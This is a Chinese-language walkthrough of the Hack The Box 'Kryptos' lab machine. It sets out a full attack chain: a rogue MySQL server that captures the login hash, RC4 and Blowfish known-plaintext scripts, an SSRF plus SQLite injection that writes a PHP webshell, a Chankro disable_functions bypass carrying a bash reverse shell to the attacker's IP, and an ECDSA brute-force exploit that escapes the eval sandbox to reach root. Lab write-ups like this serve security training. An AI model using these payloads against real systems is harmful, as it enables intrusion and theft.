端口扫描

┌──(mikannse㉿kali)-[~]
└─$ sudo nmap --min-rate=10000 -p- 10.10.10.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-24 12:53 CST
Warning: 10.10.10.129 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.129
Host is up (0.071s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
60384/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds
┌──(mikannse㉿kali)-[~]
└─$ sudo nmap -sT -sC -sV -O -p22,80 10.10.10.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-24 12:54 CST
Nmap scan report for 10.10.10.129
Host is up (0.066s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2c:b3:7e:10:fa:91:f3:6c:4a:cc:d7:f4:88:0f:08:90 (RSA)
| 256 0c:cd:47:2b:96:a2:50:5e:99:bf:bd:d0:de:05:5d:ed (ECDSA)
|_ 256 e6:5a:cb:c8:dc:be:06:04:cf:db:3a:96:e7:5a:d5:aa (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cryptor Login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Linux 3.13 (93%), DD-WRT v3.0 (Linux 4.4.2) (93%), Linux 4.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.68 seconds

Enum

上来就是登录框,抓个包

POST / HTTP/1.1

Host: 10.10.10.129

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 118

Origin: http://10.10.10.129

Connection: keep-alive

Referer: http://10.10.10.129/

Cookie: PHPSESSID=efcfou0dlomugeq1pruh5530f6

Upgrade-Insecure-Requests: 1

username=admin&password=admin&db=cryptor&token=673950cf9da170072038ad6ed5982a8172ca8befc7f8a5a005f309182f1a9435&login=

账户密码+数据库?看上去像是连接数据库用的PDO,但是DB的参数是我们可控的

稍微扫一下目录

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ feroxbuster -u http://10.10.10.129/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,html,bak,pdf,php --filter-status 404 -k
403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 27l 62w 919c http://10.10.10.129/index.php
200 GET 6l 1429w 121201c http://10.10.10.129/css/bootstrap.min.css
200 GET 27l 62w 919c http://10.10.10.129/
301 GET 9l 28w 310c http://10.10.10.129/css => http://10.10.10.129/css/
302 GET 0l 0w 0c http://10.10.10.129/logout.php => index.php
200 GET 1l 0w 1c http://10.10.10.129/url.php
200 GET 0l 0w 0c http://10.10.10.129/aes.php
302 GET 1l 0w 1c http://10.10.10.129/encrypt.php => index.php
200 GET 0l 0w 0c http://10.10.10.129/rc4.php
302 GET 0l 0w 0c http://10.10.10.129/decrypt.php => index.php
┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ gobuster dir -u http://10.10.10.129/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.129/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css (Status: 301) [Size: 310] [--> http://10.10.10.129/css/]
/dev (Status: 403) [Size: 290]

好多加密用的文件,但是都没法访问和回显

Mysql

回到之前的数据库,既然猜测这是一条PDO语句,大概像是:

$conn = new PDO("mysql:host=$servername;dbname=DB", $username, $password);

那么尝试能否让其访问本地kali

username=admin%22&password=admin&db=cryptor;host=10.10.10.29&token=c69a4cc3a69544ddfcdae118cfb5e8df41ffbdf366d11592cc2bf6a52df6c1a4&login=

接收到了请求

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ nc -lvnp 3306
listening on [any] 3306 ...
connect to [10.10.14.29] from (UNKNOWN) [10.10.10.129] 55216

那么可以尝试通过让他请求我们来获取一些信息,启动msf的捕获模块

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ msfconsole -q
msf6 > use auxiliary/server/capture/mysql
msf6 auxiliary(server/capture/mysql) > set johnpwfile hash
johnpwfile => hash
msf6 auxiliary(server/capture/mysql) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/mysql) >
[*] Started service listener on 0.0.0.0:3306
[*] Server started.

再次发送请求到本地,成功捕获到了远程mysql服务器的用户及其hash

[+] 10.10.10.129:55220 - User: dbuser; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 73def07da6fba5dcc1b19c918dbd998e0d1f3f9d; Database: cryptor

拼接成hash:

$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
krypt0n1te (?)
1g 0:00:00:00 DONE (2024-09-24 13:34) 1.818g/s 11733Kp/s 11733Kc/s 11733KC/s krypthon..krovalin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

那么得到凭证:dbuser:krypt0n1te

然而还是登陆不了,也许远程主机上根本没有开着mysql,尝试在自己主机上开个mysql然后创建用户,数据库

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ sudo systemctl start mysql

kali使用的是mariaDB,使用mysqladmin来设置root密码

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ sudo mysqladmin -u root password xxxxxxx
┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 34
Server version: 11.4.3-MariaDB-1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> CREATE USER 'dbuser' IDENTIFIED BY 'krypt0n1te';
Query OK, 0 rows affected (0.012 sec)

MariaDB [(none)]> CREATE DATABASE cryptor;
Query OK, 1 row affected (0.010 sec)

MariaDB [(none)]> GRANT SELECT ON cryptor.* TO 'dbuser'@'%';
Query OK, 0 rows affected (0.001 sec)

MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.001 sec)

并且在/etc/mysql/mariadb.conf.d/50-server.cnf中注释掉bind-address那行,然后重启服务

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ sudo systemctl restart mysql

但是仍然无法登录,应该在连接之后还有后面的逻辑,执行成功才会重定向到别的界面,为了搞清楚mysql做了什么,可以开启wireshark捕获流量

虽然只有几条流量但也可以过滤一下

mysql && ip.src==10.10.10.129

发现请求流量

SELECT username, password FROM users WHERE username='admin' AND password='21232f297a57a5a743894a0e4a801fc3'

但是这串哈希无法破解,那么在本地创建表来插入数据

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 32
Server version: 11.4.3-MariaDB-1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| cryptor |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.011 sec)

MariaDB [(none)]> use cryptor
Database changed
MariaDB [cryptor]> create table users( username varchar(20), password varchar(50));
Query OK, 0 rows affected (0.016 sec)

MariaDB [cryptor]> insert into users values( 'admin', '21232f297a57a5a743894a0e4a801fc3');
Query OK, 1 row affected (0.001 sec)

MariaDB [cryptor]> grant select on cryptor.users to 'dbuser'@'%';
Query OK, 0 rows affected (0.003 sec)

MariaDB [cryptor]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.000 sec)

再次抓包,发送请求,成功之后跳转到了encrypt.php,还有decrypt,但其他页面还是访问不了

RC4已知明文攻击

这个页面有AES,RC4加解密的功能,只要输入文件的uri

那么其实可以尝试用这个功能来读取网站源码,由于AES算法的安全性较高,并且我们没有IV向量和密钥,于是转向RC4

稍微理解一下RC4的加密流程:用明文和密钥产生密钥流,并且这个密钥流和明文的长度相同,然后按字节异或进行加密成密文

RC4算法存在着已知明文攻击的可能性

原理:在RC4加密过程中,每个字符的加密是通过密钥流(key stream)与明文字符进行异或运算得到的。因此,如果有两个不同的明文使用同一个密钥进行加密,那么它们的密文之间的异或结果实际上就是这两个明文之间的异或结果

简单来讲就是:

keystream ^ plaintext1 =cipher1
keystream ^ plaintext2 =cipher2
pt2=keystream^cipher2

那么实际上只要加密再加密就能获取到明文

先尝试对 http://127.0.0.1/index.php进行加密,然后将加密的结果保存在本地

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ cat cipher1.b64|base64 -d >cipher1

然后远程对其进行加密,将结果base64解码,就得到了网站的源码,为了快速获取源码,写了一个自动化脚本,:

from bs4 import BeautifulSoup
import base64
import requests
import sys
import os

headers = { "Cookie": "PHPSESSID=efcfou0dlomugeq1pruh5530f6"}

if len(sys.argv) != 2:
print("Usage: decrypthttp.py <url>")
sys.exit(-1)

r = requests.get(f"http://10.10.10.129/encrypt.php?cipher=RC4&url=http://127.0.0.1/{sys.argv[1]}", headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
result_b64 = soup.find("textarea").string
if result_b64:
cipher1 = base64.b64decode(result_b64)
file_name=f"cipher_{sys.argv[1]}".replace("/","_").replace("?","_")
with open(file_name,'wb') as c:
c.write(cipher1)
else:
print("** Nothing returned **")

r = requests.get(f"http://10.10.10.129/encrypt.php?cipher=RC4&url=http://10.10.14.29:8000/{file_name}", headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
result_b64 = soup.find("textarea").string
if result_b64:
plaintext = base64.b64decode(result_b64).decode()
print(plaintext)
os.system(f"rm -f {file_name}")

else:
print("** No plaintext **")

但是发现encrypt.php,url.php之类的读取不了,也许是因为内部会直接把php文件解析执行而不是读取他的内容,只好先查看其他的

尝试读取之前访问不了的dev/

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ python RC4.py 'dev/'
<html>
<head>
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
</div>
</body>
</html>

about没有内容,看一下todo.php

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ python RC4.py 'dev/todo.php'
<h3>ToDo List:</h3>
1) Remove sqlite_test_page.php
<br>2) Remove world writable folder which was used for sqlite testing
<br>3) Do the needful
<h3> Done: </h3>
1) Restrict access to /dev
<br>2) Disable dangerous PHP function

发现有一个sqlite_test_page.php,但是同样,我们也查看不了php的内容,但是view参数存在着文件包含漏洞,那么能够使用伪协议进行读取

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ python RC4.py 'dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page'
<html>
<head>
</head>
<body>
<div class="menu">
<a href="index.php">Main Page</a>
<a href="index.php?view=about">About</a>
<a href="index.php?view=todo">ToDo</a>
</div>
PGh0bWw+CjxoZWFkPjwvaGVhZD4KPGJvZHk+Cjw/cGhwCiRub19yZXN1bHRzID0gJF9HRVRbJ25vX3Jlc3VsdHMnXTsKJGJvb2tpZCA9ICRfR0VUWydib29raWQnXTsKJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYm9va3MgV0hFUkUgaWQ9Ii4kYm9va2lkOwppZiAoaXNzZXQoJGJvb2tpZCkpIHsKICAgY2xhc3MgTXlEQiBleHRlbmRzIFNRTGl0ZTMKICAgewogICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICAgIHsKCSAvLyBUaGlzIGZvbGRlciBpc
<SNIP>

base64解码得到

<?php
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
class MyDB extends SQLite3
{
function __construct()
{
// This folder is world writable - to be able to create/modify databases from PHP code
$this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');
}
}
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n";
}
echo "Query : ".$query."\n";

if (isset($no_results)) {
$ret = $db->exec($query);
if($ret==FALSE)
{
echo "Error : ".$db->lastErrorMsg();
}
}
else
{
$ret = $db->query($query);
while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
echo "Name = ". $row['name'] . "\n";
}
if($ret==FALSE)
{
echo "Error : ".$db->lastErrorMsg();
}
$db->close();
}
}
?>

简单来说就是开启一个sqlite3连接,打开这个目录下的数据库

值得注意的几个点:

1.当前目录是所有人可写的

2.如果no_results参数存在,则会执行sql语句而不是查询

3.没有任何过滤,能够拼接sql查询语句

那么路径就比较明确了,通过sql语句拼接达到注入的效果,然后执行传入的sql语句,那么便能写一个webshell在这个目录

使用ATTACH DATABASE能够创建数据库文件

大概就是这样:

http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/shell.php' AS 'shell';CREATE TABLE shell.shell ( data TEXT );INSERT INTO shell.shell VALUES('<?php system($_GET['cmd']); ?>');
http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/shell.php?cmd=id

直接在加密的页面进行ssrf注入但是没有数据回显,之前提到了PHP危险函数被禁用了,那先用正常的测试一下

生成一个文本文件:

先在url中输入:http://127.0.0.1/dev/sqlite_test_page.php?no_results=1&bookid=1 ,抓包,这里会先进行一个url编码发向repeater,

然后在后面跟上payload,像是

; ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/test.txt' AS 'test';
CREATE TABLE test.test ( data TEXT );INSERT INTO test.test VALUES('this is a text');

然后仅将payload部分选中,右键“convert section”->”URL encode all characters”,编码两次,也就是比上面要访问的页面(sqlite_test_page)多一次,我的理解是:正常访问一次需要进行一次url编码,然后是通过encrypt.php来访问sqlite这个页面,所以还需要再编码一次

发送完之后回显了200,通过加密页面来访问写入的文件,也就是 http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/test.txt

发现存在写入了我们想要写入的文本,说明这条路径是可行的。那么就需要绕过disable_function,原理是利用LD_PRELOAD来加载任意共享对象。可以利用: https://github.com/TarlogicSecurity/Chankro

mail()函数可以调用二进制文件,然后就可以预加载了

先写个bash反弹shell

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.29/443 0>&1

生成php脚本

┌──(mikannse㉿kali)-[~/tools/web/php/Chankro]
└─$ python2 chankro.py --arch 64 --input rev.sh --output pwn.php --path /var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/


-=[ Chankro ]=-
-={ @TheXC3LL }=-


[+] Binary file: rev.sh
[+] Architecture: x64
[+] Final PHP: pwn.php


[+] File created!

脚本比较大,通过get上传肯定是不可行的,通过file_put_content上传,payload:

; ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/rev.php' AS 'rev';
CREATE TABLE rev.rev ( data TEXT );INSERT INTO rev.rev VALUES('<?php file_put_contents("pwn.php",file_get_contents("http://10.10.14.29:8000/pwn.php")) ?>');

重复以上步骤之后,然后通过encrypt访问 http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/rev.php

web服务器成功收到了pwn.php的请求

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.129 - - [25/Sep/2024 22:39:09] "GET /cipher HTTP/1.1" 200 -
10.10.10.129 - - [25/Sep/2024 22:51:19] "GET /cipher HTTP/1.1" 200 -
10.10.10.129 - - [25/Sep/2024 23:19:13] "GET /pwn.php HTTP/1.0" 200 -

开启监听,访问 http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/pwn.php 触发反弹shell,比较离谱的是443端口竟然反弹不到shell,换做监听1234端口成功

Blowfish已知明文攻击

然后比较奇怪的是,本想转移shell到meterpreter,但是一直无法建立连接,换了几个端口也无效,而且发现d9e28afcf0b274a5e0542abb67db0784这个目录会被定时清空。

还有一个rijndael用户

www-data@kryptos:/home/rijndael$ ls -liah
ls -liah
total 48K
52836 drwxr-xr-x 6 rijndael rijndael 4.0K Aug 24 2022 .
50449 drwxr-xr-x 3 root root 4.0K Aug 24 2022 ..
52841 lrwxrwxrwx 1 root root 9 Oct 31 2018 .bash_history -> /dev/null
52837 -rw-r--r-- 1 root root 220 Oct 30 2018 .bash_logout
52839 -rw-r--r-- 1 root root 3.7K Oct 30 2018 .bashrc
54088 drwx------ 2 rijndael rijndael 4.0K Aug 24 2022 .cache
50764 drwx------ 3 rijndael rijndael 4.0K Aug 24 2022 .gnupg
52838 -rw-r--r-- 1 root root 807 Oct 30 2018 .profile
54073 drwx------ 2 rijndael rijndael 4.0K Aug 24 2022 .ssh
54084 -rw-rw-r-- 1 root root 21 Oct 30 2018 creds.old
54085 -rw-rw-r-- 1 root root 54 Oct 30 2018 creds.txt
51323 drwx------ 2 rijndael rijndael 4.0K Aug 24 2022 kryptos
54087 -r-------- 1 rijndael rijndael 33 Sep 25 15:14 user.txt

有两个creds文件

cat creds.old
rijndael / Password1
www-data@kryptos:/home/rijndael$ cat creds.txt
cat creds.txt
VimCrypt~02!
�vnd]�K�yYC}�5�6gMRA�n

第二个搜索了一下是vim的加密的头,02说明是blowfish加密模式,是一个较早的对称加密算法。

漏洞的成因是blowfish对前 8 (64字节)个块使用了相同的 IV偏移,并且他加密的分组一块是8个字节,所以每8个字节加密所使用的IV偏移是相同的。

根据creds.old得知,creds.txt 的内容肯定还是包含用户名”rijndael”的8个字节,所以导致了已知明文攻击

密钥流是根据IV生成的,虽然blowfish是CFB模式,但是vim重用了密钥流,相当于

keystream = Blowfish(iv)
ciphertext1 = XOR(keystream, plaintext[0:7])
ciphertext2 = XOR(keystream, plaintext[8:15])

既然现在已知8个字节的明文以及对应的密文,那么就能得到密钥流:

keystream = XOR(ciphertext1, plaintext[0:7])

观察一下这个密文

www-data@kryptos:/home/rijndael$ xxd creds.txt
xxd creds.txt
00000000: 5669 6d43 7279 7074 7e30 3221 0b18 e435 VimCrypt~02!...5
00000010: cb56 129a 3544 8040 703b 962d 930d a810 .V..5D.@p;.-....
00000020: 766e 645d c14b e21c 7959 437d d935 fb36 vnd].K..yYC}.5.6
00000030: 674d 5241 8b6e gMRA.n

12 个字节是 VimCrypt 字符串和版本。接下来的 8 个字节是初始化向量。然后是 26 个字节的内容

那么只要解密后面的26个字节内容就行,先获取密钥流,那么后面的密文与之异或一下就出来了

先将creds.txt转移到本地

import sys

if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} [file] [first 8 bytes]")
sys.exit(1)

with open(sys.argv[1], 'rb') as f:
data = f.read()

keystream = [x^ord(y) for x,y in zip(data[28:36],sys.argv[2])]

num_blocks = len(data[28:])
output = ""
for i in range(num_blocks):
output += ''.join([chr(x^y) for x,y in zip(data[i*8+28:i*8+36],keystream)])

print(output)
┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ python blowfish.py creds.txt rijndael
rijndael / bkVBL8Q9HuBSpj

得到密码,ssh连接

伪随机数爆破伪造认证

本地还开着一个81端口

rijndael@kryptos:~$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 5 127.0.0.1:81 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 *:80 *:*

家目录还有一个kryptos目录,里面一个python脚本

rijndael@kryptos:~$ ps axu |grep kryptos
root 763 0.0 0.4 68516 19208 ? Ss 02:54 0:00 /usr/bin/python3 /root/kryptos.py
root 839 0.0 0.4 143496 20184 ? Sl 02:54 0:02 /usr/bin/python3 /root/kryptos.py
rijndael 1065 0.0 0.0 14428 1052 pts/0 S+ 03:50 0:00 grep --color=auto kryptos

root身份运行着这个脚本

import random 
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp


def secure_rng(seed):
# Taken from the internet - probably secure
p = 2147483647
g = 2255412

keyLength = 32
ret = 0
ths = round((p-1)/2)
for i in range(keyLength*8):
seed = pow(g,seed,p)
if seed > ths:
ret += 2**i
return ret

# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()

def verify(msg, sig):
try:
return vk.verify(binascii.unhexlify(sig), msg)
except:
return False

def sign(msg):
return binascii.hexlify(sk.sign(msg))

@route('/', method='GET')
def web_root():
response = {'response':
{
'Application': 'Kryptos Test Web Server',
'Status': 'running'
}
}
return json.dumps(response, sort_keys=True, indent=2)

@route('/eval', method='POST')
def evaluate():
try:
req_data = request.json
expr = req_data['expr']
sig = req_data['sig']
# Only signed expressions will be evaluated
if not verify(str.encode(expr), str.encode(sig)):
return "Bad signature"
result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
response = {'response':
{
'Expression': expr,
'Result': str(result)
}
}
return json.dumps(response, sort_keys=True, indent=2)
except:
return "Error"

# Generate a sample expression and signature for debugging purposes
@route('/debug', method='GET')
def debug():
expr = '2+2'
sig = sign(str.encode(expr))
response = {'response':
{
'Expression': expr,
'Signature': sig.decode()
}
}
return json.dumps(response, sort_keys=True, indent=2)

run(host='127.0.0.1', port=81, reloader=True)

就是开在81端口的服务

secure_rng生成一个伪随机数,有可预测的风险

def secure_rng(seed): 
# Taken from the internet - probably secure
p = 2147483647
g = 2255412

keyLength = 32
ret = 0
ths = round((p-1)/2)
for i in range(keyLength*8):
seed = pow(g,seed,p)
if seed > ths:
ret += 2**i
return ret

第一个函数是用来验证签名,第二个函数用于对消息进行签名

def verify(msg, sig):
try:
return vk.verify(binascii.unhexlify(sig), msg)
except:
return False

def sign(msg):
return binascii.hexlify(sk.sign(msg))

debug路由用于对表达式进行签名,但问题在于这里的表达式是写死的,所以无法对任意表达式进行签名

@route('/debug', method='GET')
def debug():
expr = '2+2'
sig = sign(str.encode(expr))
response = {'response':
{
'Expression': expr,
'Signature': sig.decode()
}
}
return json.dumps(response, sort_keys=True, indent=2)

然后重点就是eval路由

他从POST请求中提取表达式以及签名,如果签名有效,那么会eval执行所传入的表达式

@route('/eval', method='POST')
def evaluate():
try:
req_data = request.json
expr = req_data['expr']
sig = req_data['sig']
# Only signed expressions will be evaluated
if not verify(str.encode(expr), str.encode(sig)):
return "Bad signature"
result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
response = {'response':
{
'Expression': expr,
'Result': str(result)
}
}
return json.dumps(response, sort_keys=True, indent=2)
except:
return "Error"

由于p和g已知,那么尝试多次打印随机数

import random

def secure_rng(seed):
p = 2147483647
g = 2255412
keyLength = 32
ret = 0
ths = round((p-1)/2)
for i in range(keyLength*8):
seed = pow(g, seed, p)
if seed > ths:
ret += 2**i
return ret

seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
print(str(rand))

打印11000次:

for i in `seq 1 11000`
do
python rng.py >> randoms_nums.lst
done

发现仅仅生成了209个随机数,并且这个服务开启的密钥是写死的,那么能够通过爆破随机数,总能验证通过

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ cat randoms_nums.lst|sort -u >uniq_randoms

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ wc -l uniq_randoms
209 uniq_randoms

通过一个脚本,尝试爆破,来执行1337+1337这个表达式

import requests
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p

url = 'http://127.0.0.1:81/eval'
uniq_vals = open("uniq_randoms").readlines()
expr = "1337 + 1337"

def sign(msg, sk):
return binascii.hexlify(sk.sign(msg.encode()))

for rand in uniq_vals:
sk = SigningKey.from_secret_exponent(int(rand), curve=NIST384p)
sig = sign(expr, sk)
data = { "expr" : expr, "sig" : sig.decode() }
res = requests.post(url, json=data)
if "Bad" not in res.text:
print("Found signature {}".format(sig.decode()))
print(res.text)
break

先做个本地端口转发

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ ssh -L 81:127.0.0.1:81 rijndael@10.10.10.129
rijndael@10.10.10.129's password:

执行脚本,表达式执行成功:

┌──(mikannse㉿kali)-[~/HTB/kryptos]
└─$ python brute.py
Found signature aee2db0ed96757e6daf35db5ec3701a77ab9ae6cfe107bd8a66bd8df9d3d9afd6d4e5de01fa029de502f7fbc18a6f52a1b1a7f8e0f7d9bb6c1dfb8a39e1ce70144bff9a2b43bf36c69347ec728f962b487f9ccb8647bc9dc5bb69d9e7ff0ac7a
{
"response": {
"Expression": "1337 + 1337",
"Result": "2674"
}
}

更改表达式为反弹shell,通过eval来执行

先找到os._wrap_close这个内部类在object子类中的索引

>>> [index for index, cls in enumerate(object.__subclasses__()) if cls == os._wrap_close]
[117]

通过初始化来访问system方法来调用命令

>>> [].__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__['system']('whoami')
rijndael
0

那表达式只需改成:

[].__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__['system']('cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash')

那么最终exp:

import requests
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p

url = 'http://127.0.0.1:81/eval'
uniq_vals = open("uniq_randoms").readlines()
expr = "[].__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__['system']('cp /bin/bash /tmp/root_bash;chmod +xs /tmp/root_bash')"

def sign(msg, sk):
return binascii.hexlify(sk.sign(msg.encode()))

for rand in uniq_vals:
sk = SigningKey.from_secret_exponent(int(rand), curve=NIST384p)
sig = sign(expr, sk)
data = { "expr" : expr, "sig" : sig.decode() }
res = requests.post(url, json=data)
if "Bad" not in res.text:
print("Found signature {}".format(sig.decode()))
print(res.text)
break

等待执行,提权成功

rijndael@kryptos:/tmp$ ls
bottle.jdlb1m71.lock
root_bash
systemd-private-2d004bee3aa94f76b3f4cd7a2725356f-apache2.service-kcnLgt
systemd-private-2d004bee3aa94f76b3f4cd7a2725356f-systemd-resolved.service-YldrE9
systemd-private-2d004bee3aa94f76b3f4cd7a2725356f-systemd-timesyncd.service-2n1aXy
vmware-root_235-2126396596
rijndael@kryptos:/tmp$ ./root_bash -p
root_bash-4.4# whoami
root

碎碎念

关于密码学的房间,立足点先是通过伪造mysql数据库来绕过验证,然后通过RC4的已知明文攻击来读取源码,其次还存在着SSRF攻击,结合sql注入写入webshell。用户权限通过初代blowfish的分组弱点来实现已知明文攻击拿到用户密码。最后利用伪随机数爆破和危险python函数来伪造验证实现任意命令执行。对密码学基础和脚本编写能力考验较大